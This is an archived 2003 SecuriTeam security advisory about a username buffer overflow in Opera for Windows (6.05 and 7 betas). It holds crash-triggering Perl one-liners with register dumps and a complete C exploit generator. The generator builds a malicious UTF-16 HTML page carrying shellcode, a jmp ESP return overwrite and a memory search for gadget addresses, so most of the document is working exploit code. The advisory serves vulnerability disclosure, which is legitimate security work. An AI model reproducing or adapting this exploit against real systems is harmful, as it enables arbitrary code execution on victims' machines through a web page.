[NT] Opera Username Buffer Overflow Vulnerability
From: support@securiteam.com
Date: 02/10/03
- Previous message: support@securiteam.com: "[NT] Opera's Image Handling Vulnerable to Cross Site Scripting"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 10 Feb 2003 21:06:51 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
Opera Username Buffer Overflow Vulnerability
------------------------------------------------------------------------
SUMMARY
Opera for Windows has been found to contain an exploitable buffer
overflow. This vulnerability in Opera will occur whenever Opera opens a
URL that contains a long username.
An attacker can cause the vulnerability by very simple means. Any of the
following HTML tags can be used: link (anchor tag), picture (image tag),
frame, script, etc. The vulnerability overwrites the saved RET address in
stack, and it enables an attacker to execute arbitrary code.
DETAILS
Vulnerable systems:
* Opera 6.05 build 1140
* Opera 7 beta2 build 2577
* Opera 7.01 build 2651
Details:
When Opera opens a URL that contains a long username, it will parse it
using the format string of the resource number "21463" (in a language
file). Generating a string that is displayed in the URL Warning Dialog.
Because no length checks are enabled for the username an internal buffer
can be overflowed.
Examples:
For Opera6.05 build 1140, English language file:
Executing:
$ perl -e "exec('opera.exe', 'http://'. 'A' x 2624 .'@/')"
Results in:
---------------------------------------------------------------------
Exception C0000005
EAX=00410041 EBX=01B5F9BA ECX=0012E254 EDX=01B60E58 ESI=01A8A940
EDI=77DF6001 EBP=0012E278 ESP=0012CDD8 EIP=00423D68 FLAGS=00000216
0012CDD8 00000110 00000001 005F2464 00200020 ........d$_. . .
0012CDE8 00200020 00730055 00720065 0061006E . .U.s.e.r.n.a.
0012CDF8 0065006D 0020003A 00410041 00410041 m.e.:. .A.A.A.A.
0012CE08 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
....
0012E268 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0012E278 >00410041 00410041 007D0020 007C031E A.A.A.A. .....|.
0012E288 01A8A940 007D02D0 0012E2D8 00000000 @.....}...E.....
---------------------------------------------------------------------
As you can see, in the above case, the Access Violation occurs before EIP
moves to the RET address. However, EIP is movable by setting a fake value
of 0x80000001 or other values to the area that is referred to after
overwritten.
Sending the following modified overflow string:
$ perl -e "exec('opera.exe', 'http://'.'%01%e8%80%80' x 1311
'%ef%bb%be' x 2 .'@/')"
"%01%e8%80%80" = 0x80000001, "%ef%bb%be%ef%bb%be" = 0xfefefefe (with
"Encode all addresses with UTF-8" setting.)
Will result in:
---------------------------------------------------------------------
Exception C0000005
EAX=00000001 EBX=005F2464 ECX=00010101 EDX=F03639D8 ESI=00000001
EDI=00000110 EBP=80000001 ESP=0012E28C *EIP=FEFEFEFE FLAGS=00000202
---------------------------------------------------------------------
ESP register points to the position of the RET address's offsets value +
about 0x10 bytes.
Therefore, it is possible to execute the arbitrary code by overwriting the
RET address in the address of the "jmp ESP" instruction, putting the
arbitrary commands after the area which is pointed by ESP register.
Note:
The username is handled by Opera in this vulnerability is transformed into
16bit wide characters. Therefore, setting the "Encode all addresses with
UTF-8" to enabled and encoding the username with UTF encoding allows
easier exploitation. Without it, exploitation becomes difficult.
Vendor status :
Already notified to vendor on the 2003/02/02. However, we do not know the
correspondence and attitude of Opera Software ASA against this
vulnerability because we did not have the formal reply from Opera Software
ASA.
Exploit:
/******************************************************************
*
* Opera Username Buffer Overflow Exploit
*
* PRODUCT : Opera for Windows
* VERSION : 6.05 build 1140, 7 beta2 build 2577
* VENDOR : Opera Sotware ASA (http://www.opera.com/)
* COMMENCT : This program generates exploit HTML file that
* try to execute "calc.exe". it is encoded by UTF-16.
* These defined values may depend on environment.
* It gets address from your memory if "GETADDR" has
* been defined.
*
* USAGE : $ this output_html_filename
* $ this - >output_html_filename
*
* ATTENTION : ***DO NOT ABUSE THIS CODE***.
* This is a sample only for checking vulnerability.
* And it is a user's responsibility whatever results
* is occurred by this code.
*
* THANKS : imagine, melorin,
* MODIFIED : 2003/02/09
*
* nesumin <nesumin@softhome.net>
*
*********************************************************** TAB[4] */
//
// | Username : ... FAKE | SFP | RET | nopnopnopnop | code1 | .........
nopnopnop | code2 | ....
// *1 *2 * 3
//
// *1 - " Username : " has defined in lng file (no. 21463).
// this depends on length of it.
// *2 RET address.
// *3 ESP register points to.
//
// exclude 0x0000,0xffff,0x002f,0x003e,0x0040,0x0025...
//
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <io.h>
#include <fcntl.h>
#include <malloc.h>
#define GETADDR // for WIN32
//---------------------------------------------------------------
//***** OS *****
// default values.
// win2k sp3 jp + any Hotfix, kernel32.dll 5.0.2195.6079
#define ADDR_JMPADDR 0x77E67D04
#define ADDR_LOADLIBRARY 0x77E6FEE8
#define ADDR_GETPROCADDR 0x77E7094C
// win98se jp, kernel32.dll 4.10.0.2222
//#define ADDR_JMPADDR 0xBFE1623C
//#define ADDR_LOADLIBRARY 0xBFF77750
//#define ADDR_GETPROCADDR 0xBFF76E28
//WinMe jp
//#define ADDR_JMPADDR 0xBFF4820D
//#define ADDR_LOADLIBRARY 0xBFF67728
//#define ADDR_GETPROCADDR 0xBFF66E00
// WinXP SP1 jp
//#define ADDR_JMPADDR 0x77E5AE59
//#define ADDR_LOADLIBRARY 0x77E3D961
//#define ADDR_GETPROCADDR 0x77E3B332
//***** depends on lang file (21463) *****
#if 1
// english.lng
#define LABEL_LENGTH 0x10
#else
// japanese.lng
#define LABEL_LENGTH 0x0e
#endif
//***** opera's version *****
#if 1
// opera 6.05
#define ADDR_OFFSET (0x149c - (LABEL_LENGTH*2))
#define CODE1_OFFSET (ADDR_OFFSET + 0x0020)
#define CODE2_OFFSET (CODE1_OFFSET + 0x00fd)
#else
// opera 7 beta2
#define ADDR_OFFSET (0x14f8 - (LABEL_LENGTH*2))
#define CODE1_OFFSET (ADDR_OFFSET + 0x0020)
#define CODE2_OFFSET (CODE1_OFFSET + 0x00fd)
#endif
//******************************************
#define FILLEDWCHAR 0x0041
#define FAKEVALUE 0x80000001
//---------------------------------------------------------------
// egg, based on hsj's egg. thanks.
// execute "calc.exe"
unsigned char code1[]={
0xEB,0x5D,0x5B,0x53,0x8B,0xC3,0x33,0xC9,0xB1,0x44,0xD0,0xE9,0x80,0x30,0x02,0x40,
0xE2,0xFA,0x32,0xC0,0x83,0xC3,0x0B,0x4B,0x88,0x03,0xB8,0xAA,0xAA,0xAA,0xAA,0xFF,
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xC0,0x83,0xC3,0x08,0x88,0x03,0xB8,0xBB,
0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,0x32,0xC0,0x83,0xC3,0x04,
0x88,0x03,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF8,0x33,0xC0,0x50,0x43,0x53,
0x53,0x83,0xC3,0x08,0x88,0x03,0x40,0x50,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7
};
unsigned char code2[]={//xor 0x02
0x90,0xE8,0xFF,0xFE,0xFF,0xFF,0x6f,0x71,0x74,0x61,0x70,0x76,0x2c,0x66,0x6e,0x6e,
0x5d,0x5d,0x71,0x72,0x63,0x75,0x6c,0x6e,0x72,0x5d,0x67,0x7a,0x6b,0x76,0x5d,0x61,
0x63,0x6e,0x61,0x2c,0x67,0x7a,0x67,0x5d,0x90
};
//---------------------------------------------------------------
// HTML template data
const unsigned char html_head[] =
"<html>\r\n"
"<head>\r\n"
"<meta http-equiv=\"content-type\" content=\"text/html;
charset=UTF-16\">\r\n"
"<title>Opera Username Buffer Overflow Exploit</title>\r\n"
"</head>\r\n"
"<body>\r\n"
"<h1>Opera Username Buffer Overflow Exploit</h1><br>\r\n";
#if 0
// anchor
const unsigned char html_1[] = "<a title=\"click me\" href=\"http://";
const unsigned char html_2[] = "@/\">click me</a>\r\n";
#else
// image
const unsigned char html_1[] = "<img src=\"http://";
const unsigned char html_2[] = "@/\">\r\n";
#endif
const unsigned char html_foot[] =
"<br><br><br><br><br>\r\n"
"<div>by nesumin</div>\r\n"
"</body>\r\n"
"</html>\r\n";
//---------------------------------------------------------------
#define CONVERT_SIZE 0xffff
unsigned char buffer[0xffff];
unsigned char converted[CONVERT_SIZE+32];
//---------------------------------------------------------------
int getAddess(unsigned long *jmp,unsigned long *loadlib,unsigned long
*getproc);
void printUsage(void);
int mb2utf16(unsigned char *dest, int dest_size,
const unsigned char* source,int source_size);
int main(int argc, char *argv[])
{
int i;
FILE *fout;
unsigned long addr_jmpESP = ADDR_JMPADDR,
addr_LoadLibrary = ADDR_LOADLIBRARY,
addr_GetProcAddress = ADDR_GETPROCADDR;
if (argc != 2)
{
printUsage();
return 0;
}
#ifdef GETADDR
// routine of get address.
if (! getAddess(&addr_jmpESP, &addr_LoadLibrary, &addr_GetProcAddress))
{
fprintf(stderr ,"cannot found address\n");
return 1;
}
fprintf(stderr ,"jmpESP\t\t: 0x%08X\n",addr_jmpESP);
fprintf(stderr ,"LoadLibrary\t: 0x%08X\n",addr_LoadLibrary);
fprintf(stderr ,"GetProcAddress\t: 0x%08X\n\n",addr_GetProcAddress);
#endif
// fill buffer
for (i=0; i < ADDR_OFFSET-32; i+=2)
*(unsigned short*)(buffer+i) = (unsigned short)0xffff&FILLEDWCHAR;
for (i=ADDR_OFFSET-32;i < ADDR_OFFSET; i+=4)
*(unsigned long*)(buffer+i) = FAKEVALUE;
// set data
*(unsigned long*)(buffer+ADDR_OFFSET) = addr_jmpESP;
for (i+=4; i < CODE2_OFFSET+4; i++)
buffer[i] = 0x90;
buffer[sizeof(buffer)-1] = 0;
// replace address
for(i=0;i<sizeof(code1)-sizeof(unsigned long);++i)
if ( *(unsigned long*)(code1+i) == 0xAAAAAAAA )
*(unsigned long*)(code1+i) = addr_LoadLibrary;
else if ( *(unsigned long*)(code1+i) == 0xBBBBBBBB )
*(unsigned long*)(code1+i) = addr_GetProcAddress;
memcpy(buffer+CODE1_OFFSET, code1, sizeof(code1));
fout = strcmp(argv[1],"-") ? fopen(argv[1], "wb") : stdout;
if (!fout)
{
fprintf(stderr ,"cannot write file.\n");
return 1;
}
if (stdout==fout && setmode(fileno(stdout), O_BINARY) < 0)
{
fprintf(stderr ,"cannot setmode O_BINARY to stdout.\n");
return 1;
}
if ( CONVERT_SIZE > (sizeof(html_1) * 2 + 4)
&& CONVERT_SIZE > (sizeof(html_2) * 2 + 4) )
{
int len;
// UTF-16 BOM(Little Endian)
fwrite("\xFF\xFE", 1, 2, fout);
// mbs to unicode and write to file
//setlocale(LC_CTYPE,"English");
memset(converted, 0, CONVERT_SIZE);
len = mb2utf16(converted,sizeof(converted), html_head,
sizeof(html_head)-1);
fwrite(converted, 1, len, fout);
memset(converted, 0, CONVERT_SIZE);
len = mb2utf16(converted,sizeof(converted), html_1, sizeof(html_1)-1);
fwrite(converted, 1, len, fout);
fwrite(buffer, 1, CODE2_OFFSET, fout);
fwrite(code2, 1, sizeof(code2), fout);
memset(converted, 0, CONVERT_SIZE);
len = mb2utf16(converted,sizeof(converted), html_2, sizeof(html_2)-1);
fwrite(converted, 1, len, fout);
memset(converted, 0, CONVERT_SIZE);
len = mb2utf16(converted,sizeof(converted), html_foot,
sizeof(html_foot)-1);
fwrite(converted, 1, len, fout);
fprintf(stderr, "\noutput to : \"%s\"\n", fout==stdout ? "STDOUT" :
argv[1]);
fprintf(stderr, "done.\n");
}
else
fprintf(stderr, "cannot convert, the length of html is too long.");
fclose(fout);
return 0;
}
// this is cheep converter, no think surrogate pair :)
// mbs to wchar_t, wchar_t to 2byte char(little endian)
int mb2utf16(unsigned char *IN_dest, int IN_dest_size,
const unsigned char* IN_source,int IN_source_size)
{
wchar_t w;
int i=0,j=0,l;
if (IN_dest<=0 || IN_source<=0) return -1;
while (i<IN_source_size && j<IN_dest_size-1)
{
l = mbtowc(&w, &IN_source[i], IN_source_size-i);
if (l <= 0) break;
IN_dest[j++] = (unsigned char)(0xff&w);
IN_dest[j++] = (unsigned char)(0xff&(w>>8));
i += l;
}
return j;
}
void printUsage(void)
{
fprintf(stderr, "
_________________________.:._________________________\n");
fprintf(stderr, "| |\n");
fprintf(stderr, "* Opera Username Buffer Overflow Exploit *\n");
fprintf(stderr, "* by nesumin <nesumin@softhome.net> *\n");
fprintf(stderr,
"|_____________________________________________________|\n\n");
fprintf(stderr, "Usage: o6unexp.exe output_filename\n\n");
}
#ifdef GETADDR
//===================================================================//
// a general routine, search in memory
#include <windows.h>
#include <psapi.h>
//---------- data for search address ------------
const unsigned char *DllList[]={
"kernel32.dll",// do not edit kernel32.dll
"user32.dll",
"gdi32.dll",
"advapi.dll",
"imm32.dll",
"winmm.dll",
"ole32.dll",
"netapi32.dll"
};
#define DllCount (sizeof(DllList)/sizeof(unsigned char *))
const unsigned char *JmpESPList[3]={
"\xFF\xD4",
"\xFF\xE4",
"\x54\xC3"
};
int isAddrAvailableChar(unsigned long IN_addr)
{
// exclude 0x0000,0xffff,0x002f,0x003e,0x0040,0x0025
return(
(IN_addr & 0x0000ffff)
&& (IN_addr & 0xffff0000)
&& ((IN_addr & 0x0000ffff) != 0x0000ffff)
&& ((IN_addr & 0xffff0000) != 0xffff0000)
&& ((IN_addr & 0x0000ffff) != 0x0000002f)
&& ((IN_addr & 0xffff0000) != 0x002f0000)
&& ((IN_addr & 0x0000ffff) != 0x00000022)
&& ((IN_addr & 0xffff0000) != 0x00220000)
&& ((IN_addr & 0x0000ffff) != 0x0000003e)
&& ((IN_addr & 0xffff0000) != 0x003e0000)
&& ((IN_addr & 0x0000ffff) != 0x00000040)
&& ((IN_addr & 0xffff0000) != 0x00400000)
&& ((IN_addr & 0x0000ffff) != 0x00000025)
&& ((IN_addr & 0xffff0000) != 0x00250000)
);
}
// get file version
int getFileVersion(const unsigned char *IN_name,unsigned long
*OUT_ms,unsigned long *OUT_ls)
{
int ret=0;
unsigned char *buf;
unsigned long size,h;
VS_FIXEDFILEINFO *vf;
if (OUT_ms && OUT_ls && (size =
0x0fffffff&GetFileVersionInfoSize((LPTSTR)IN_name,&h)))
{
if (buf = malloc(size+4))
{
if (GetFileVersionInfo((LPTSTR)DllList[0], 0, size, buf)
&& VerQueryValue(buf,"\\",&vf,&size))
{
*OUT_ms = vf->dwFileVersionMS;
*OUT_ls = vf->dwFileVersionLS;
ret = 1;
}
free(buf);
}
}
return ret;
}
unsigned char * searchInMem(unsigned char *IN_start,int IN_size, const
unsigned char *IN_data, int IN_data_size)
{
unsigned char *cur_pos = IN_start + IN_size - IN_data_size;
__try
{
while (cur_pos >= IN_start)
{
if ( 0 == memcmp(cur_pos, IN_data, IN_data_size)
&& isAddrAvailableChar((unsigned long)cur_pos) )
return cur_pos;
--cur_pos;
}
}
__except((STATUS_ACCESS_VIOLATION == GetExceptionCode())
? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
fprintf(stderr ,"Exception of Access Violation was occurred in
searchInMemory()\n");
}
return 0;
}
int getAddess(unsigned long *OUT_jmp,unsigned long *OUT_loadlib,unsigned
long *OUT_getproc)
{
int i,j;
unsigned long ms=0,ls=0;
HMODULE hlist[DllCount];
OSVERSIONINFO info;
hlist[0] = LoadLibrary("Version.dll");
if (hlist[0])
{
info.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&info);
FreeLibrary(hlist[0]);
memset(hlist,0,sizeof(hlist));
if (info.dwPlatformId==VER_PLATFORM_WIN32_NT)
{
// NT
MODULEINFO minfo;
HMODULE psapi = LoadLibrary("psapi.dll");
BOOL (WINAPI
*fp_GetModuleInformation)(HANDLE,HMODULE,LPMODULEINFO,DWORD);
fp_GetModuleInformation =
(void*)GetProcAddress(psapi,"GetModuleInformation");
for (i=0;i<DllCount;++i)
{
hlist[i] = LoadLibrary(DllList[i]);
if (hlist[i])
{
fp_GetModuleInformation(GetCurrentProcess(),hlist[i],&minfo,sizeof(MODULEINFO));
for (j=0;j<3 && !(*OUT_jmp = (unsigned
long)searchInMem((void*)hlist[i],minfo.SizeOfImage,JmpESPList[j],2));++j);
if (*OUT_jmp)
{
getFileVersion(DllList[0],&ms,&ls);
fprintf(stderr ,"Found : \"%X %X\" - 0x%08X in %s %u.%u.%u.%u\n",
JmpESPList[j][0], JmpESPList[j][1], *OUT_jmp,DllList[i],
(ms >> 16) & 0xFFFF, ms & 0xFFFF, (ls >> 16) & 0xFFFF, ls & 0xFFFF);
break;
}
}
}
FreeLibrary(psapi);
}
else
{
// 9x
MEMORY_BASIC_INFORMATION minfo;
for (i=0;i<DllCount;++i)
{
hlist[i] = LoadLibrary(DllList[i]);
if (hlist[i])
{
VirtualQuery(hlist[i],&minfo,sizeof(MEMORY_BASIC_INFORMATION));
for (j=0;j<3 && !(*OUT_jmp = (unsigned
long)searchInMem((void*)hlist[i],minfo.RegionSize,JmpESPList[j],2));++j);
if (*OUT_jmp)
{
getFileVersion(DllList[0],&ms,&ls);
fprintf(stderr ,"Found : \"%X %X\" - 0x%08X in %s %u.%u.%u.%u\n",
JmpESPList[j][0], JmpESPList[j][1], *OUT_jmp,DllList[i],
(ms >> 16) & 0xFFFF, ms & 0xFFFF, (ls >> 16) & 0xFFFF, ls & 0xFFFF);
break;
}
}
}
}
// kernel32.dll
*OUT_loadlib = (unsigned long)GetProcAddress(hlist[0],"LoadLibraryA");
*OUT_getproc = (unsigned long)GetProcAddress(hlist[0],"GetProcAddress");
getFileVersion(DllList[0],&ms,&ls);
fprintf(stderr ,"%s %u.%u.%u.%u\n",DllList[0],(ms >> 16) & 0xFFFF,ms &
0xFFFF,(ls >> 16) & 0xFFFF,ls & 0xFFFF);
for (i=0;i<DllCount;++i)
if (0 != hlist[i])
FreeLibrary(hlist[i]);
}
return (*OUT_jmp && *OUT_loadlib && *OUT_getproc) ? 1 : 0;
}
#endif
//----------------------------------------------------
ADDITIONAL INFORMATION
The information has been provided by <mailto:nesumin@softhome.net>
nesumin.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[UNIX] Buffer Overflow In NOD32 Antivirus Software for UNIX"
- Previous message: support@securiteam.com: "[NT] Opera's Image Handling Vulnerable to Cross Site Scripting"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|